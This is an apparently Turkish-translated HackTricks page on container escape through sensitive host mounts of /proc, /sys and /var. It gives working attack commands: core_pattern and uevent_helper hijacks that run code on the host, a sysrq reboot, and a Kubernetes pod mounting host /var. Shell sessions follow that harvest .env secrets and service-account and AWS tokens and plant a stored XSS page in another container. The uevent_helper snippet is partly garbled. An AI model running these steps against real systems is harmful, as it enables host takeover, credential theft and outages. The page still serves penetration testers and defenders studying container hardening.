Sensitive Mounts
Reading time: 9 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
/proc
, /sys
ve /var
'ın uygun namespace izolasyonu olmadan açığa çıkması, saldırı yüzeyinin genişlemesi ve bilgi sızıntısı da dahil olmak üzere önemli güvenlik riskleri oluşturur. Bu dizinler, yanlış yapılandırıldığında veya yetkisiz bir kullanıcı tarafından erişildiğinde, konteyner kaçışına, ana makine değişikliğine veya daha fazla saldırıyı destekleyen bilgilerin sağlanmasına yol açabilecek hassas dosyalar içerir. Örneğin, -v /proc:/host/proc
yanlış bir şekilde monte edilirse, yol tabanlı doğası nedeniyle AppArmor korumasını atlayabilir ve /host/proc
'u korumasız bırakabilir.
Her potansiyel zafiyetin daha fazla detayını bulabilirsiniz https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts.
procfs Vulnerabilities
/proc/sys
Bu dizin, genellikle sysctl(2)
aracılığıyla çekirdek değişkenlerini değiştirme izni verir ve birkaç endişe verici alt dizin içerir:
/proc/sys/kernel/core_pattern
- core(5) içinde tanımlanmıştır.
- İlk 128 baytı argüman olarak kullanarak çekirdek dosyası oluşturulduğunda çalıştırılacak bir program tanımlamaya izin verir. Dosya bir boru
|
ile başlarsa, bu kod yürütmeye yol açabilir. - Test ve Sömürü Örneği:
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Yazma erişimini test et
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # Özel işleyici ayarla
sleep 5 && ./crash & # İşleyiciyi tetikle
/proc/sys/kernel/modprobe
- proc(5) içinde detaylandırılmıştır.
- Çekirdek modül yükleyicisinin yolunu içerir, çekirdek modüllerini yüklemek için çağrılır.
- Erişim Kontrolü Örneği:
ls -l $(cat /proc/sys/kernel/modprobe) # modprobe erişimini kontrol et
/proc/sys/vm/panic_on_oom
- proc(5) içinde referans verilmiştir.
- OOM durumu meydana geldiğinde çekirdeğin panik yapıp yapmayacağını kontrol eden bir global bayraktır.
/proc/sys/fs
- proc(5) gereğince, dosya sistemi hakkında seçenekler ve bilgiler içerir.
- Yazma erişimi, ana makineye karşı çeşitli hizmet reddi saldırılarını etkinleştirebilir.
/proc/sys/fs/binfmt_misc
- Büyü numarasına dayalı olarak yerel olmayan ikili formatlar için yorumlayıcıları kaydetmeye izin verir.
/proc/sys/fs/binfmt_misc/register
yazılabilir olduğunda ayrıcalık yükselmesine veya root shell erişimine yol açabilir.- İlgili sömürü ve açıklama:
- Poor man's rootkit via binfmt_misc
- Derinlemesine eğitim: Video link
Diğerleri /proc
içinde
/proc/config.gz
CONFIG_IKCONFIG_PROC
etkinse çekirdek yapılandırmasını açığa çıkarabilir.- Saldırganlar için çalışan çekirdekteki zayıflıkları tanımlamak için yararlıdır.
/proc/sysrq-trigger
- Sysrq komutlarını çağırmaya izin verir, bu da ani sistem yeniden başlatmalarına veya diğer kritik eylemlere neden olabilir.
- Ana Makineyi Yeniden Başlatma Örneği:
echo b > /proc/sysrq-trigger # Ana makineyi yeniden başlatır
/proc/kmsg
- Çekirdek halka tamponu mesajlarını açığa çıkarır.
- Çekirdek sömürülerine, adres sızıntılarına yardımcı olabilir ve hassas sistem bilgilerini sağlayabilir.
/proc/kallsyms
- Çekirdek tarafından dışa aktarılan sembolleri ve adreslerini listeler.
- KASLR'yi aşmak için çekirdek sömürü geliştirmede önemlidir.
- Adres bilgisi
kptr_restrict
1 veya 2 olarak ayarlandığında kısıtlanır. - proc(5) içinde detaylar.
/proc/[pid]/mem
- Çekirdek bellek cihazı
/dev/mem
ile arayüz sağlar. - Tarihsel olarak ayrıcalık yükseltme saldırılarına karşı savunmasızdır.
- Daha fazla bilgi için proc(5).
/proc/kcore
- Sistemin fiziksel belleğini ELF çekirdek formatında temsil eder.
- Okuma, ana makine ve diğer konteynerlerin bellek içeriklerini sızdırabilir.
- Büyük dosya boyutu okuma sorunlarına veya yazılım çökmesine yol açabilir.
- Detaylı kullanım için Dumping /proc/kcore in 2019 bakılabilir.
/proc/kmem
- Çekirdek sanal belleğini temsil eden
/dev/kmem
için alternatif bir arayüzdür. - Okuma ve yazma izni verir, dolayısıyla çekirdek belleğini doğrudan değiştirmeye olanak tanır.
/proc/mem
- Fiziksel belleği temsil eden
/dev/mem
için alternatif bir arayüzdür. - Okuma ve yazma izni verir, tüm belleği değiştirmek için sanal adreslerin fiziksel adreslere çözülmesi gerekir.
/proc/sched_debug
- PID namespace korumalarını atlayarak süreç zamanlama bilgilerini döndürür.
- Süreç adlarını, kimliklerini ve cgroup tanımlayıcılarını açığa çıkarır.
/proc/[pid]/mountinfo
- Sürecin mount namespace'inde mount noktaları hakkında bilgi sağlar.
- Konteyner
rootfs
veya görüntüsünün konumunu açığa çıkarır.
/sys
Vulnerabilities
/sys/kernel/uevent_helper
- Çekirdek cihaz
uevents
'lerini işlemek için kullanılır. /sys/kernel/uevent_helper
'a yazmak,uevent
tetikleyicileri üzerine rastgele betikler çalıştırabilir.- Sömürü Örneği: %%%bash
Bir yük oluşturur
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
Konteyner için OverlayFS montajından ana makine yolunu bulur
hostpath=$(sed -n 's/.\perdir=([^,]_).*/\1/p' /etc/mtab)
Uevent_helper'ı kötü niyetli yardımcıya ayarlar
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
Bir uevent tetikler
echo change > /sys/class/mem/null/uevent
Çıktıyı okur
cat /output %%%
/sys/class/thermal
- Sıcaklık ayarlarını kontrol eder, bu da DoS saldırılarına veya fiziksel hasara neden olabilir.
/sys/kernel/vmcoreinfo
- Çekirdek adreslerini sızdırır, bu da KASLR'yi tehlikeye atabilir.
/sys/kernel/security
- Linux Güvenlik Modüllerinin (AppArmor gibi) yapılandırılmasına izin veren
securityfs
arayüzünü barındırır. - Erişim, bir konteynerin MAC sistemini devre dışı bırakmasına olanak tanıyabilir.
/sys/firmware/efi/vars
ve /sys/firmware/efi/efivars
- NVRAM'daki EFI değişkenleri ile etkileşim kurmak için arayüzler açığa çıkarır.
- Yanlış yapılandırma veya sömürü, bozuk dizüstü bilgisayarlara veya önyüklenemez ana makinelerle sonuçlanabilir.
/sys/kernel/debug
debugfs
, çekirdeğe "kural yok" hata ayıklama arayüzü sunar.- Kısıtlanmamış doğası nedeniyle güvenlik sorunları geçmişi vardır.
/var
Vulnerabilities
Ana makinenin /var klasörü, konteyner çalışma soketlerini ve konteynerlerin dosya sistemlerini içerir. Bu klasör bir konteyner içinde monte edilirse, o konteyner diğer konteynerlerin dosya sistemlerine root ayrıcalıklarıyla okuma-yazma erişimi alır. Bu, konteynerler arasında geçiş yapmak, hizmet reddi oluşturmak veya içinde çalışan diğer konteynerlere ve uygulamalara arka kapı açmak için kötüye kullanılabilir.
Kubernetes
Eğer böyle bir konteyner Kubernetes ile dağıtılırsa:
apiVersion: v1
kind: Pod
metadata:
name: pod-mounts-var
labels:
app: pentest
spec:
containers:
- name: pod-mounts-var-folder
image: alpine
volumeMounts:
- mountPath: /host-var
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
volumes:
- name: noderoot
hostPath:
path: /var
pod-mounts-var-folder konteynerinin içinde:
/ # find /host-var/ -type f -iname '*.env*' 2>/dev/null
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/201/fs/usr/src/app/.env.example
<SNIP>
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/135/fs/docker-entrypoint.d/15-local-resolvers.envsh
/ # cat /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/105/fs/usr/src/app/.env.example | grep -i secret
JWT_SECRET=85d<SNIP>a0
REFRESH_TOKEN_SECRET=14<SNIP>ea
/ # find /host-var/ -type f -iname 'index.html' 2>/dev/null
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/57/fs/usr/src/app/node_modules/@mapbox/node-pre-gyp/lib/util/nw-pre-gyp/index.html
<SNIP>
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index.html
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/132/fs/usr/share/nginx/html/index.html
/ # echo '<!DOCTYPE html><html lang="en"><head><script>alert("Stored XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh
are/nginx/html/index2.html
XSS şu şekilde gerçekleştirildi:
Konteynerin bir yeniden başlatmaya veya başka bir şeye ihtiyaç duymadığını unutmayın. Mounted /var klasörü aracılığıyla yapılan herhangi bir değişiklik anında uygulanacaktır.
Ayrıca, otomatik (veya yarı otomatik) RCE elde etmek için yapılandırma dosyalarını, ikili dosyaları, hizmetleri, uygulama dosyalarını ve shell profillerini değiştirebilirsiniz.
Bulut kimlik bilgilerine erişim
Konteyner, K8s serviceaccount token'larını veya AWS webidentity token'larını okuyabilir, bu da konteynerin K8s veya buluta yetkisiz erişim elde etmesine olanak tanır.
/ # find /host-var/ -type f -iname '*token*' 2>/dev/null | grep kubernetes.io
/host-var/lib/kubelet/pods/21411f19-934c-489e-aa2c-4906f278431e/volumes/kubernetes.io~projected/kube-api-access-64jw2/..2025_01_22_12_37_42.4197672587/token
<SNIP>
/host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/kube-api-access-bljdj/..2025_01_22_12_17_53.265458487/token
/host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/aws-iam-token/..2025_01_22_03_45_56.2328221474/token
/host-var/lib/kubelet/pods/5fb6bd26-a6aa-40cc-abf7-ecbf18dde1f6/volumes/kubernetes.io~projected/kube-api-access-fm2t6/..2025_01_22_12_25_25.3018586444/token
Docker
Docker'da (veya Docker Compose dağıtımlarında) istismar tam olarak aynıdır, tek fark genellikle diğer konteynerlerin dosya sistemlerinin farklı bir temel yol altında mevcut olmasıdır:
$ docker info | grep -i 'docker root\|storage driver'
Storage Driver: overlay2
Docker Root Dir: /var/lib/docker
Dosya sistemleri /var/lib/docker/overlay2/
altında bulunmaktadır:
$ sudo ls -la /var/lib/docker/overlay2
drwx--x--- 4 root root 4096 Jan 9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
drwx--x--- 4 root root 4096 Jan 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
drwx--x--- 4 root root 4096 Jan 9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
drwx--x--- 4 root root 4096 Jan 9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
<SNIP>
Not
Gerçek yollar farklı kurulumlarda farklılık gösterebilir, bu yüzden en iyi seçeneğiniz diğer konteynerlerin dosya sistemlerini ve SA / web kimlik belirteçlerini bulmak için find komutunu kullanmaktır.
Referanslar
- https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts
- Understanding and Hardening Linux Containers
- Abusing Privileged and Unprivileged Linux Containers
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.